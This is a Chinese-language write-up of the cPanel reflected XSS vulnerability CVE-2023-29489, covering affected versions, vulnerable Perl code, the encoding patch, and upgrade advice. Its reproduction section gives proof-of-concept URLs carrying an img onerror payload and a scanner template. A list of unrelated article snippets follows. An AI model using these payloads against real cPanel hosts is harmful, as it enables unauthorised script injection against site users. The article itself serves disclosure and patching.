cPanel XSS漏洞分析研究(CVE-2023-29489)

news2024/9/24 9:20:52

一、漏洞原理

漏洞简述

cPanel 是一套在网页寄存业中最享负盛名的商业软件,是基于于 Linux 和 BSD 系统及以 PHP 开发且性质为闭源软件;提供了足够强大和相当完整的主机管理功能,诸如:Webmail 及多种电邮协议、网页化 FTP 管理、SSH 连线、数据库管理系统、DNS 管理等远端网页式主机管理软件功能。

该漏洞可以无身份验证情况下利用,无论cPanel管理端口2080, 2082, 2083, 2086是否对外开放

漏洞影响范围

供应商:cPanel

产品:cPanel

确认受影响版本:< 11.109.9999.116

修复版本:11.109.9999.116, 11.108.0.13, 11.106.0.18, and 11.102.0.31

漏洞分析

本漏洞的漏洞点来自系统中涉及交互的关键变量未进行转义或过滤处理,导致攻击者可以构造恶意代码作为输入进行利用。

Httpd.pm:

elsif ( 0 == rindex( $doc_path, '/cpanelwebcall/', 0 ) ) {

    # First 15 chars are “/cpanelwebcall/”
    _serve_cpanelwebcall(
        $self->get_server_obj(),
        substr( $doc_path, 15 ),
    );
}

上述代码说明任何路径均会被路由到,包括目录后的字符部分。

其中涉及函数_serve_cpanelwebcall:

sub _serve_cpanelwebcall ( $server_obj, $webcall_uri_piece ) {
    require Cpanel::Server::WebCalls;
    my $out = Cpanel::Server::WebCalls::handle($webcall_uri_piece);

    $server_obj->respond_200_ok_text($out);
    
    return;

}

其中局部变量out为handle函数的返回值,是参数webcall_uri_piece的处理结果。

sub handle ($request) {

    my $id = extract_id_from_request($request);
    substr( $request, 0, length $id ) = q<>;

    Cpanel::WebCalls::ID::is_valid($id) or do {
        die _http_invalid_params_err("Invalid webcall ID: $id");
    };

handle函数主要先从request提取id,之后根据id情况进行处理

sub _http_invalid_params_err ($why) {
    return Cpanel::Exception::create_raw( 'cpsrvd::BadRequest', $why );
}

_http_invalid_params_err函数主要是返回错误信息

进一步分析发现Httpd::ErrorPage下的 message_html变量未做任何处理,可被该漏洞利用

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

补丁部分

在最新版本cPanel可以看到针对该漏洞进行修复

Cpanel/Server/Handlers/Httpd/ErrorPage.pm:

++ use Cpanel::Encoder::Tiny               ();	

... omitted for brevity ...

++ $var{message_html} = Cpanel::Encoder::Tiny::safe_html_encode_str( $var{message_html} );

二、漏洞复现实战

漏洞复现

首先以某个cPanel target为例

cPanel资产

之后根据POC进行复现

POC

http://example.com/cpanelwebcall/<img%20src=x%20οnerrοr="prompt(1)">aaaaaaaaaaaa
http://example.com:2082/cpanelwebcall/<img%20src=x%20οnerrοr="prompt(1)">aaaaaaaaaaaa
http://example.com:2086/cpanelwebcall/<img%20src=x%20οnerrοr="prompt(1)">aaaaaaaaaaaa

注:其他端口也有可能存在该漏洞

requests:
  - method: GET
    path:
      - '{{BaseURL}}/cpanelwebcall/<img%20src=x%20οnerrοr="prompt(1)">aaaaaaaaaaaa'
    matchers:
      - type: word
        words:
          - '<img src=x οnerrοr="prompt(1)">'

执行POC

XSS POC执行情况

漏洞修复

建议更新至版本11.109.9999.116、 11.108.0.13 、11.106.0.18 和 11.102.0.31

启用cPanel 自动更新功能

结束语

本文主要介绍了CVE-2023-29489 cPanel XSS漏洞的原理分析及复现过程,漏洞主要由于涉及交互的关键变量未进行转义或过滤处理,从而造成攻击者可以在无身份验证情况下进行利用。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/488409.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【考前看几题】系统集成项目管理师-2022年上半年-上午真题(广东卷)

前言 汇总知识点、重点问题、难点 由问题引出知识点 软件技术、其他技术、管理基础、整体管理、范围管理、成本管理、人力资源管理 干系人管理、合同管理、采购管理、配置管理、质量管理、风险管理、安全管理 文章目录 前言软件技术、其他技术管理基础整体管理范围管理成本管理…

第12届蓝桥杯国赛真题剖析-2021年5月29日Scratch编程初中级组

[导读]&#xff1a;超平老师的《Scratch蓝桥杯真题解析100讲》已经全部完成&#xff0c;后续会不定期解读蓝桥杯真题&#xff0c;这是Scratch蓝桥杯真题解析第128讲。 第12届蓝桥杯Scratch国赛真题&#xff0c;这是2021年5月29日举办的全国总决赛&#xff0c;比赛仍然采取线上…

【java】Java 异常处理的十个建议

文章目录 前言一、尽量不要使用e.printStackTrace(),而是使用log打印。二、catch了异常&#xff0c;但是没有打印出具体的exception&#xff0c;无法更好定位问题三、不要用一个Exception捕捉所有可能的异常四、记得使用finally关闭流资源或者直接使用try-with-resource五、捕获…

TCP协议特性讲解

文章目录 TCP报文结构确认应答超时重传三次握手与四次挥手滑动窗口流量控制拥塞控制延时应答捎带应答面向字节流 - 粘包问题异常处理 - 心跳包 TCP报文结构 16位源端口号&#xff1a;表示数据从哪来的。 16位目的端口号&#xff1a;表示数据要到哪里去。 32位序号&#xff1a;由…

Centos7 安装 MySql8

1、查看是否安装 mariadb rpm -qa | grep mariadb 显示&#xff1a;mariadb-libs-5.5.56-2.el7.x86_64 2、卸载 mariadb rpm -e --nodeps mariadb-libs-5.5.56-2.el7.x86_64 3、安装 mysql 依赖包 yum install libaio 4、创建 mysql 安装目录 mkdir /usr/local/mysql 创…

【完整攻略】OPPO手机无密码解锁方法

全世界有数百万人拥有 OPPO 手机。它以其经济实惠但功能强大的智能手机而闻名。但是&#xff0c;与许多其他人一样&#xff0c;您可能会在某些日子后忘记密码。那么&#xff0c;如果您忘记了 OPPO 手机的密码或图案怎么办&#xff1f;你将如何解锁它&#xff1f;这是一个大问题…

Java+大数据学习笔记分享!

今天给大家分享一个笔记网站&#xff01; 我在码云中整理超全面学习笔记内容&#xff01; Gitee地址&#xff1a;https://gitee.com/fanggaolei/learning-notes-warehouse 项目中目前包含了大数据和Java后端方向的全部学习笔记&#xff0c;同样也是一个学习路线&#xff0c;笔记…

1-photoshop--修改图片内容--填充的使用

一、photoshop--修改图片内容--填充的使用&#xff1a; 在photohsop中没有发现图形填充功能&#xff0c;如何实现功能&#xff1f; 需要把这个图片中的原有文字覆盖 &#xff0c;1.使用吸管工具 &#xff0c;获取图片背景颜色&#xff0c;前景色为需要的颜色 2.在需要的选择进…

采购管理怎么做(详解采购工作流程)

阅读本文您将了解&#xff1a;1.采购管理的意义&#xff1b;2.采购工作流程&#xff08;中小企业&#xff09;&#xff1b;3.采购管理未来发展趋势。 一、采购管理的意义 采购管理是指企业为满足生产经营需要&#xff0c;对外部供应商进行的采购活动的规划、组织、实施和控制…

RocketMQ-ONS 内存占用过大问题处理

RocketMQ-ONS 内存占用过大问题处理 1、问题环境描述2、问题现像描述3、问题分析3.1、问题定位阶段1&#xff08;确认内存占用原因&#xff09;3.2、问题定位阶段2&#xff08;缓存参数配置无效问题&#xff09;3.3、问题定位阶段2&#xff08;分析占用原因&#xff09; 4、解决…

详解文件操作和 IO

&#x1f397;️ 主页&#xff1a;小夜时雨 &#x1f397;️ 专栏&#xff1a;javaEE初阶 &#x1f397;️ 如何优雅的活着&#xff0c;是我找寻的方向 目录 一、认识文件二、文件路径三、文件系统操作四、文件内容的操作读写 - 数据流4.1 InputStream 概述4.2 OutputStream 概…

快讯 | ALVA Systems 参加 Open Bosch 首届 Demo Day 活动

4 月 27 日&#xff0c;博世&#xff08;中国&#xff09;投资有限公司&#xff08;下以“博世”简称&#xff09;在上海总部举办 Open Bosch 第一届 Demo Day 活动&#xff0c;展示与初创伙伴的合作项目成果&#xff0c;宣传合作理念&#xff0c;为初创伙伴搭建参观交流的开放…

【Matter】esp-matter开发环境搭建

文章目录 esp-matter开发环境搭建前提准备1.Ubuntu22.04&#xff08;内存不小于80G&#xff09;2.网络环境 esp-idf 开发环境搭建1.Problem1 solution2.Problem2 solution esp-matter开发环境搭建 esp-matter开发环境搭建 前提准备 1.Ubuntu22.04&#xff08;内存不小于80G&am…

vs可视化界面使用git变基

天天都在使用git&#xff0c;听说过变基这个名词&#xff0c;但是并没有实操过变基&#xff0c;正好今天有个同事说起一件事情&#xff1a;提交代码的时候有太多的自动合并&#xff0c;如果需要回退版本&#xff0c;操作起来很困难&#xff0c;理想状态下&#xff0c;应该就只有…

部门来了个软件测试,听说是00后,上来一顿操作给我看呆了...

前段时间公司新来了个同事&#xff0c;听说大学是学的广告专业&#xff0c;因为喜欢IT行业就找了个培训班&#xff0c;后来在一家小公司干了三年&#xff0c;现在跳槽来我们公司。来了之后把现有项目的性能优化了一遍&#xff0c;服务器缩减一半&#xff0c;性能反而提升4倍!给…

【STM32CubeMX】F103串口通信

前言 本文记录下我学习STM32CubeMX时的流程&#xff0c;系统板是基于STM32F103C6T6&#xff0c;方便以后回忆。本章记录串口通信。这里居然有玄学问题&#xff0c;给我整了好久&#xff0c;头都大了。可能也是我能力有限才有的吧&#xff0c;泪目。 目录 串口通信 串口通信 …

SPSS如何进行方差分析之案例实训?

文章目录 0.引言1.单因素方差分析2.多因素方差分析3.协方差分析4.多因变量方差分析 0.引言 因科研等多场景需要进行绘图处理&#xff0c;笔者对SPSS进行了学习&#xff0c;本文通过《SPSS统计分析从入门到精通》及其配套素材结合网上相关资料进行学习笔记总结&#xff0c;本文对…

Java版工程项目管理系统平台+java版企业工程系统源码+助力工程企业实现数字化管理

Java版工程项目管理系统 Spring CloudSpring BootMybatisVueElementUI前后端分离 功能清单如下&#xff1a; 首页 工作台&#xff1a;待办工作、消息通知、预警信息&#xff0c;点击可进入相应的列表 项目进度图表&#xff1a;选择&#xff08;总体或单个&#xff09;项目显示1…

repartition和partitionBy的区别

前言 旁边的实习生一脸困惑&#xff1a;我把一个dataset的数据往某个文件夹或hive表中写的时候可以用partitionBy对数据进行分区&#xff0c;可是repartition顾名思义也好像与分区有关&#xff0c;这两个究竟有啥区别&#xff1f;我该如何使用&#xff1f; API解释 repartit…

ChatGPT能承担哪些工作?

ChatGPT拥有高效的自然语言处理能力&#xff0c;它最容易取代的领域可能是&#xff1a;文本分类、聊天机器人、文本生成、问答系统、文字识别和自动翻译方面。最容易取代的职业可能是&#xff1a;客服人员、技术类、媒体类、教师、法律类、金融类。使相关的人员在工作生活中更加…